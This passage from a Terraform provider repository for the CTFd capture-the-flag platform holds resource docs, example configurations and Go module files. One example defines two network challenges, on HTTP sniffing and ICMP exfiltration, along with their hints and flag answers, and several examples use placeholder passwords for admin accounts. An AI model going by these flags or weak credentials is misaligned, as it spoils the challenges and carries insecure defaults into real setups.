resource import with an inconsistent CTFd configuration i.e. if a team has no captain yet (should not be possible). - `email` (String) Email of the team. - `members` (List of String) List of members (User), defined by their IDs. - `name` (String) Name of the team. - `password` (String) Password of the team. Notice that during a CTF you may not want to update those to avoid defaulting team accesses. ### Optional - `affiliation` (String) Affiliation to a company or agency. - `banned` (Boolean) Is true if the team is banned from the CTF. - `country` (String) Country the team represent or is hail from. - `hidden` (Boolean) Is true if the team is hidden to the participants. - `website` (String) Website, blog, or anything similar (displayed to other participants). ### Read-Only - `id` (String) Identifier of the user. ## /docs/resources/user.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_user Resource - terraform-provider-ctfd" subcategory: "" description: |- CTFd defines a User as someone who will either play or administrate the Capture The Flag event. --- # ctfd_user (Resource) CTFd defines a User as someone who will either play or administrate the Capture The Flag event. ## Example Usage ```terraform resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io@protonmail.com" password = "password" # Make the user administrator of the CTFd instance type = "admin" verified = true hidden = true } ``` ## Schema ### Required - `email` (String, Sensitive) Email of the user, may be used to verify the account. - `name` (String) Name or pseudo of the user. - `password` (String, Sensitive) Password of the user. Notice than during a CTF you may not want to update those to avoid defaulting user accesses. ### Optional - `affiliation` (String) Affiliation to a team, company or agency. - `banned` (Boolean) Is true if the user is banned from the CTF. - `country` (String) Country the user represent or is native from. - `hidden` (Boolean) Is true if the user is hidden to the participants. - `language` (String) Language the user is fluent in. - `type` (String) Generic type for RBAC purposes. - `verified` (Boolean) Is true if the user has verified its account by email, or if set by an admin. - `website` (String) Website, blog, or anything similar (displayed to other participants). ### Read-Only - `id` (String) Identifier of the user. ## /examples/provider-install-verification/main.tf ```tf path="/examples/provider-install-verification/main.tf" terraform { required_providers { ctfd = { source = "registry.terraform.io/ctfer-io/ctfd" } } } provider "ctfd" { url = "http://localhost:8080" } resource "ctfd_challenge_dynamic" "http" { name = "HTTP Authentication" category = "network" description = <<-EOT Oh non ! Je n'avais pas vu que ma connexion n'était pas chiffrée ! J'espère que personne ne m'espionnait... EOT attribution = "NicolasFgrx" value = 500 initial = 500 decay = 17 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Network" ] tags = [ "network", "http" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "24HIUT{Http_1s_n0t_s3cuR3}" } resource "ctfd_hint" "http_hint_1" { challenge_id = ctfd_challenge_dynamic.http.id content = "Les flux http ne sont pas chiffrés" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_dynamic.http.id content = "Les informations sont POSTées en HTTP :)" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_dynamic.http.id name = "capture.pcapng" contentb64 = filebase64("${path.module}/capture.pcapng") } resource "ctfd_challenge_dynamic" "icmp" { name = "Stealing data" category = "network" description = <<-EOT L'administrateur réseau vient de nous signaler que des flux étranges étaient à destination d'un serveur. Visiblement, il s'agit d'un serveur interne. Vous pouvez nous dire de quoi il s'agit ? (La capture a été réalisée en dehors de l'infrastructure du CTF) EOT attribution = "NicolasFgrx" value = 500 decay = 17 minimum = 50 state = "visible" requirements = { behavior = "anonymized" prerequisites = [ctfd_challenge_dynamic.http.id] } flags = [{ content = "24HIUT{IcmpExfiltrationIsEasy}" }] topics = [ "Network" ] tags = [ "network", "icmp" ] } resource "ctfd_flag" "icmp_flag" { challenge_id = ctfd_challenge_dynamic.icmp.id content = "24HIUT{IcmpExfiltrationIsEasy}" } resource "ctfd_hint" "icmp_hint_1" { challenge_id = ctfd_challenge_dynamic.icmp.id content = "Vous ne trouvez pas qu'il ya beaucoup de requêtes ICMP ?" cost = 50 } resource "ctfd_hint" "icmp_hint_2" { challenge_id = ctfd_challenge_dynamic.icmp.id content = "Pour l'exo, le ttl a été modifié, tente un `ip.ttl<=20`" cost = 50 requirements = [ctfd_hint.icmp_hint_2.id] } resource "ctfd_file" "icmp_file" { challenge_id = ctfd_challenge_dynamic.icmp.id name = "icmp.pcap" contentb64 = filebase64("${path.module}/icmp.pcap") } ``` ## /examples/provider/provider.tf ```tf path="/examples/provider/provider.tf" provider "ctfd" { url = "https://my-ctfd.lan" api_key = "ctfd_somerandomvalue" } ``` ## /examples/resources/ctfd_challenge_dynamic/resource.tf ```tf path="/examples/resources/ctfd_challenge_dynamic/resource.tf" resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "CTF{some_flag}" } resource "ctfd_hint" "http_hint_1" { challenge_id = ctfd_challenge_dynamic.http.id content = "Some super-helpful hint" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_dynamic.http.id content = "Even more helpful hint !" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_dynamic.http.id name = "image.png" contentb64 = filebase64(".../image.png") } ``` ## /examples/resources/ctfd_challenge_standard/resource.tf ```tf path="/examples/resources/ctfd_challenge_standard/resource.tf" resource "ctfd_challenge_standard" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_standard.http.id content = "CTF{some_flag}" } resource "ctfd_hint" "http_hint_1" { challenge_id = ctfd_challenge_standard.http.id content = "Some super-helpful hint" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_standard.http.id content = "Even more helpful hint !" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_standard.http.id name = "image.png" contentb64 = filebase64(".../image.png") } ``` ## /examples/resources/ctfd_file/resource.tf ```tf path="/examples/resources/ctfd_file/resource.tf" resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_dynamic.http.id name = "image.png" contentb64 = filebase64(".../image.png") } ``` ## /examples/resources/ctfd_flag/resource.tf ```tf path="/examples/resources/ctfd_flag/resource.tf" resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "CTF{some_flag}" } ``` ## /examples/resources/ctfd_hint/resource.tf ```tf path="/examples/resources/ctfd_hint/resource.tf" resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "CTF{some_flag}" } resource "ctfd_hint" "http_hint" { challenge_id = ctfd_challenge_dynamic.http.id content = "Some super-helpful hint" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_dynamic.http.id content = "Even more helpful hint !" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } ``` ## /examples/resources/ctfd_team/resource.tf ```tf path="/examples/resources/ctfd_team/resource.tf" resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io@protonmail.com" password = "password" } resource "ctfd_team" "cybercombattants" { name = "Les cybercombattants de l'innovation" email = "lucastesson@protonmail.com" password = "password" members = [ ctfd_user.ctfer.id, ] captain = ctfd_user.ctfer.id } ``` ## /examples/resources/ctfd_user/resource.tf ```tf path="/examples/resources/ctfd_user/resource.tf" resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io@protonmail.com" password = "password" # Make the user administrator of the CTFd instance type = "admin" verified = true hidden = true } ``` ## /go.mod ```mod path="/go.mod" module github.com/primeattenu/terraform-provider-ctfd/v2 go 1.23.2 require ( github.com/ctfer-io/go-ctfd v0.11.0 github.com/hashicorp/terraform-plugin-docs v0.21.0 github.com/hashicorp/terraform-plugin-framework v1.14.1 github.com/hashicorp/terraform-plugin-go v0.26.0 github.com/hashicorp/terraform-plugin-log v0.9.0 github.com/hashicorp/terraform-plugin-testing v1.12.0 ) require ( github.com/BurntSushi/toml v1.2.1 // indirect github.com/Kunde21/markdownfmt/v3 v3.1.0 // indirect github.com/Masterminds/goutils v1.1.1 // indirect github.com/Masterminds/semver/v3 v3.2.0 // indirect github.com/Masterminds/sprig/v3 v3.2.3 // indirect github.com/ProtonMail/go-crypto v1.1.3 // indirect github.com/agext/levenshtein v1.2.2 // indirect github.com/apparentlymart/go-textseg/v15 v15.0.0 // indirect github.com/armon/go-radix v1.0.0 // indirect github.com/bgentry/speakeasy v0.1.0 // indirect github.com/bmatcuk/doublestar/v4 v4.8.1 // indirect github.com/cloudflare/circl v1.3.7 // indirect github.com/fatih/color v1.16.0 // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.7.0 // indirect github.com/google/uuid v1.6.0 // indirect github.com/gorilla/schema v1.4.1 // indirect github.com/hashicorp/cli v1.1.7 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-checkpoint v0.5.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-cty v1.5.0 // indirect github.com/hashicorp/go-hclog v1.6.3 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect github.com/hashicorp/go-plugin v1.6.2 // indirect github.com/hashicorp/go-retryablehttp v0.7.7 // indirect github.com/hashicorp/go-uuid v1.0.3 // indirect github.com/hashicorp/go-version v1.7.0 // indirect github.com/hashicorp/hc-install v0.9.1 // indirect github.com/hashicorp/hcl/v2 v2.23.0 // indirect github.com/hashicorp/logutils v1.0.0 // indirect github.com/hashicorp/terraform-exec v0.22.0 // indirect github.com/hashicorp/terraform-json v0.24.0 // indirect github.com/hashicorp/terraform-plugin-sdk/v2 v2.36.1 // indirect github.com/hashicorp/terraform-registry-address v0.2.4 // indirect github.com/hashicorp/terraform-svchost v0.1.1 // indirect github.com/hashicorp/yamux v0.1.1 // indirect github.com/huandu/xstrings v1.3.3 // indirect github.com/imdario/mergo v0.3.15 // indirect github.com/mattn/go-colorable v0.1.14 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/mattn/go-runewidth v0.0.9 // indirect github.com/mitchellh/copystructure v1.2.0 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect github.com/mitchellh/go-wordwrap v1.0.0 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/mitchellh/reflectwalk v1.0.2 // indirect github.com/oklog/run v1.0.0 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/posener/complete v1.2.3 // indirect github.com/shopspring/decimal v1.3.1 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/vmihailenco/msgpack v4.0.4+incompatible // indirect github.com/vmihailenco/msgpack/v5 v5.4.1 // indirect github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect github.com/yuin/goldmark v1.7.7 // indirect github.com/yuin/goldmark-meta v1.1.0 // indirect github.com/zclconf/go-cty v1.16.2 // indirect go.abhg.dev/goldmark/frontmatter v0.2.0 // indirect golang.org/x/crypto v0.36.0 // indirect golang.org/x/exp v0.0.0-20230809150735-7b3493d9a819 // indirect golang.org/x/mod v0.22.0 // indirect golang.org/x/net v0.37.0 // indirect golang.org/x/sync v0.12.0 // indirect golang.org/x/sys v0.31.0 // indirect golang.org/x/text v0.23.0 // indirect golang.org/x/tools v0.22.0 // indirect google.golang.org/appengine v1.6.8 // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20241015192408-796eee8c2d53 // indirect google.golang.org/grpc v1.69.4 // indirect google.golang.org/protobuf v1.36.3 // indirect gopkg.in/yaml.v2 v2.3.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) ``` ## /go.sum ```sum path="/go.sum" dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= github.com/BurntSushi/toml v1.2.1 h1:9F2/+DoOYIOksmaJFPw1tGFy1eDnIJXg+UHjuD8lTak= github.com/BurntSushi/toml v1.2.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/Kunde21/markdownfmt/v3 v3.1.0 h1:KiZu9LKs+wFFBQKhrZJrFZwtLnCCWJahL+S+E/3VnM0= github.com/Kunde21/markdownfmt/v3 v3.1.0/go.mod h1:tPXN1RTyOzJwhfHoon9wUr4HGYmWgVxSQN6VBJDkrVc= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver/v3 v3.2.0 h1:3MEsd0SM6jqZojhjLWWeBY+Kcjy9i6MQAeY7YgDP83g= github.com/Masterminds/semver/v3 v3.2.0/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/Masterminds/sprig/v3 v3.2.3 h1:eL2fZNezLomi0uOLqjQoN6BfsDD+fyLtgbJMAj9n6YA= github.com/Masterminds/sprig/v3 v3.2.3/go.mod h1:rXcFaZ2zZbLRJv/xSysmlgIM1u11eBaRMhvYXJNkGuM= github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= github.com/Microsoft/go-winio v0.6.1/go.mod h1:LRdKpFKfdobln8UmuiYcKPot9D2v6svN5+sAH+4kjUM= github.com/ProtonMail/go-crypto v1.1.3 h1:nRBOetoydLeUb4nHajyO2bKqMLfWQ/ZPwkXqXxPxCFk= github.com/ProtonMail/go-crypto v1.1.3/go.mod h1:rA3QumHc/FZ8pAHreoekgiAbzpNsfQAosU5td4SnOrE= github.com/agext/levenshtein v1.2.2 h1:0S/Yg6LYmFJ5stwQeRp6EeOcCbj7xiqQSdNelsXvaqE= github.com/agext/levenshtein v1.2.2/go.mod h1:JEDfjyjHDjOF/1e4FlBE/PkbqA9OfWu2ki2W0IB5558= github.com/apparentlymart/go-textseg/v12 v12.0.0/go.mod h1:S/4uRK2UtaQttw1GenVJEynmyUenKwP++x/+DdGV/Ec= github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= github.com/armon/go-radix v1.0.0 h1:F4z6KzEeeQIMeLFa97iZU6vupzoecKdU5TX24SNppXI= github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/bgentry/speakeasy v0.1.0 h1:ByYyxL9InA1OWqxJqqp2A5pYHUrCiAL6K3J+LKSsQkY= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bmatcuk/doublestar/v4 v4.8.1 h1:54Bopc5c2cAvhLRAzqOGCYHYyhcDHsFF4wWIR5wKP38= github.com/bmatcuk/doublestar/v4 v4.8.1/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= github.com/bufbuild/protocompile v0.4.0/go.mod h1:3v93+mbWn/v3xzN+31nwkJfrEpAUwp+BagBSZWx+TP8= github.com/cloudflare/circl v1.3.7 h1:qlCDlTPz2n9fu58M0Nh1J/JzcFpfgkFHHX3O35r5vcU= github.com/cloudflare/circl v1.3.7/go.mod h1:sRTcRWXGLrKw6yIGJ+l7amYJFfAXbZG0kBSc8r4zxgA= github.com/ctfer-io/go-ctfd v0.11.0 h1:4Rdya1kgT5clYuoLmIeRBplTVLJoLUVGcp7DE4GfwoE= github.com/ctfer-io/go-ctfd v0.11.0/go.mod h1:ebgSW8LdP/qtRCpglK4djBp+g6kU5YM98XBZKowiCeY= github.com/cyphar/filepath-securejoin v0.2.5 h1:6iR5tXJ/e6tJZzzdMc1km3Sa7RRIVBKAK32O2s7AYfo= github.com/cyphar/filepath-securejoin v0.2.5/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI= github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376/go.mod h1:an3vInlBmSxCcxctByoQdvwPiA7DTK7jaaFDBTtu0ic= github.com/go-git/go-billy/v5 v5.6.0 h1:w2hPNtoehvJIxR00Vb4xX94qHQi/ApZfX+nBE2Cjio8= github.com/go-git/go-billy/v5 v5.6.0/go.mod h1:sFDq7xD3fn3E0GOwUSZqHo9lrkmx8xJhA0ZrfvjBRGM= github.com/go-git/go-git/v5 v5.13.0 h1:vLn5wlGIh/X78El6r3Jr+30W16Blk0CTcxTYcYPWi5E= github.com/go-git/go-git/v5 v5.13.0/go.mod h1:Wjo7/JyVKtQgUNdXYXIepzWfJQkUEIGvkvVkiXRR/zw= github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-test/deep v1.0.3 h1:ZrJSEWsXzPOxaZnFteGEfooLba+ju3FYIbOrS+rQd68= github.com/go-test/deep v1.0.3/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/protobuf v1.1.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/gorilla/schema v1.4.1 h1:jUg5hUjCSDZpNGLuXQOgIWGdlgrIdYvgQ0wZtdK1M3E= github.com/gorilla/schema v1.4.1/go.mod h1:Dg5SSm5PV60mhF2NFaTV1xuYYj8tV8NOPRo4FggUMnM= github.com/hashicorp/cli v1.1.7 h1:/fZJ+hNdwfTSfsxMBa9WWMlfjUZbX8/LnUxgAd7lCVU= github.com/hashicorp/cli v1.1.7/go.mod h1:e6Mfpga9OCT1vqzFuoGZiiF/KaG9CbUfO5s3ghU3YgU= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-checkpoint v0.5.0 h1:MFYpPZCnQqQTE18jFwSII6eUQrD/oxMFp3mlgcqk5mU= github.com/hashicorp/go-checkpoint v0.5.0/go.mod h1:7nfLNL10NsxqO4iWuW6tWW0HjZuDrwkBuEQsVcpCOgg= github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-cty v1.5.0 h1:EkQ/v+dDNUqnuVpmS5fPqyY71NXVgT5gf32+57xY8g0= github.com/hashicorp/go-cty v1.5.0/go.mod h1:lFUCG5kd8exDobgSfyj4ONE/dc822kiYMguVKdHGMLM= github.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k= github.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M= github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= github.com/hashicorp/go-plugin v1.6.2 h1:zdGAEd0V1lCaU0u+MxWQhtSDQmahpkwOun8U8EiRVog= github.com/hashicorp/go-plugin v1.6.2/go.mod h1:CkgLQ5CZqNmdL9U9JzM532t8ZiYQ35+pj3b1FD37R0Q= github.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU= github.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8= github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-version v1.7.0 h1:5tqGy27NaOTB8yJKUZELlFAS/LTKJkrmONwQKeRZfjY= github.com/hashicorp/go-version v1.7.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/hc-install v0.9.1 h1:gkqTfE3vVbafGQo6VZXcy2v5yoz2bE0+nhZXruCuODQ= github.com/hashicorp/hc-install v0.9.1/go.mod h1:pWWvN/IrfeBK4XPeXXYkL6EjMufHkCK5DvwxeLKuBf0= github.com/hashicorp/hcl/v2 v2.23.0 h1:Fphj1/gCylPxHutVSEOf2fBOh1VE4AuLV7+kbJf3qos= github.com/hashicorp/hcl/v2 v2.23.0/go.mod h1:62ZYHrXgPoX8xBnzl8QzbWq4dyDsDtfCRgIq1rbJEvA= github.com/hashicorp/logutils v1.0.0 h1:dLEQVugN8vlakKOUE3ihGLTZJRB4j+M2cdTm/ORI65Y= github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= github.com/hashicorp/terraform-exec v0.22.0 h1:G5+4Sz6jYZfRYUCg6eQgDsqTzkNXV+fP8l+uRmZHj64= github.com/hashicorp/terraform-exec v0.22.0/go.mod h1:bjVbsncaeh8jVdhttWYZuBGj21FcYw6Ia/XfHcNO7lQ= github.com/hashicorp/terraform-json v0.24.0 h1:rUiyF+x1kYawXeRth6fKFm/MdfBS6+lW4NbeATsYz8Q= github.com/hashicorp/terraform-json v0.24.0/go.mod h1:Nfj5ubo9xbu9uiAoZVBsNOjvNKB66Oyrvtit74kC7ow= github.com/hashicorp/terraform-plugin-docs v0.21.0 h1:yoyA/Y719z9WdFJAhpUkI1jRbKP/nteVNBaI3hW7iQ8= github.com/hashicorp/terraform-plugin-docs v0.21.0/go.mod h1:J4Wott1J2XBKZPp/NkQv7LMShJYOcrqhQ2myXBcu64s= github.com/hashicorp/terraform-plugin-framework v1.14.1 h1:jaT1yvU/kEKEsxnbrn4ZHlgcxyIfjvZ41BLdlLk52fY= github.com/hashicorp/terraform-plugin-framework v1.14.1/go.mod h1:xNUKmvTs6ldbwTuId5euAtg37dTxuyj3LHS3uj7BHQ4= github.com/hashicorp/terraform-plugin-go v0.26.0 h1:cuIzCv4qwigug3OS7iKhpGAbZTiypAfFQmw8aE65O2M= github.com/hashicorp/terraform-plugin-go v0.26.0/go.mod h1:+CXjuLDiFgqR+GcrM5a2E2Kal5t5q2jb0E3D57tTdNY= github.com/hashicorp/terraform-plugin-log v0.9.0 h1:i7hOA+vdAItN1/7UrfBqBwvYPQ9TFvymaRGZED3FCV0= github.com/hashicorp/terraform-plugin-log v0.9.0/go.mod h1:rKL8egZQ/eXSyDqzLUuwUYLVdlYeamldAHSxjUFADow= github.com/hashicorp/terraform-plugin-sdk/v2 v2.36.1 h1:WNMsTLkZf/3ydlgsuXePa3jvZFwAJhruxTxP/c1Viuw= github.com/hashicorp/terraform-plugin-sdk/v2 v2.36.1/go.mod h1:P6o64QS97plG44iFzSM6rAn6VJIC/Sy9a9IkEtl79K4= github.com/hashicorp/terraform-plugin-testing v1.12.0 h1:tpIe+T5KBkA1EO6aT704SPLedHUo55RenguLHcaSBdI= github.com/hashicorp/terraform-plugin-testing v1.12.0/go.mod h1:jbDQUkT9XRjAh1Bvyufq+PEH1Xs4RqIdpOQumSgSXBM= github.com/hashicorp/terraform-registry-address v0.2.4 h1:JXu/zHB2Ymg/TGVCRu10XqNa4Sh2bWcqCNyKWjnCPJA= github.com/hashicorp/terraform-registry-address v0.2.4/go.mod h1:tUNYTVyCtU4OIGXXMDp7WNcJ+0W1B4nmstVDgHMjfAU= github.com/hashicorp/terraform-svchost v0.1.1 h1:EZZimZ1GxdqFRinZ1tpJwVxxt49xc/S52uzrw4x0jKQ= github.com/hashicorp/terraform-svchost v0.1.1/go.mod h1:mNsjQfZyf/Jhz35v6/0LWcv26+X7JPS+buii2c9/ctc= github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= github.com/huandu/xstrings v1.3.3 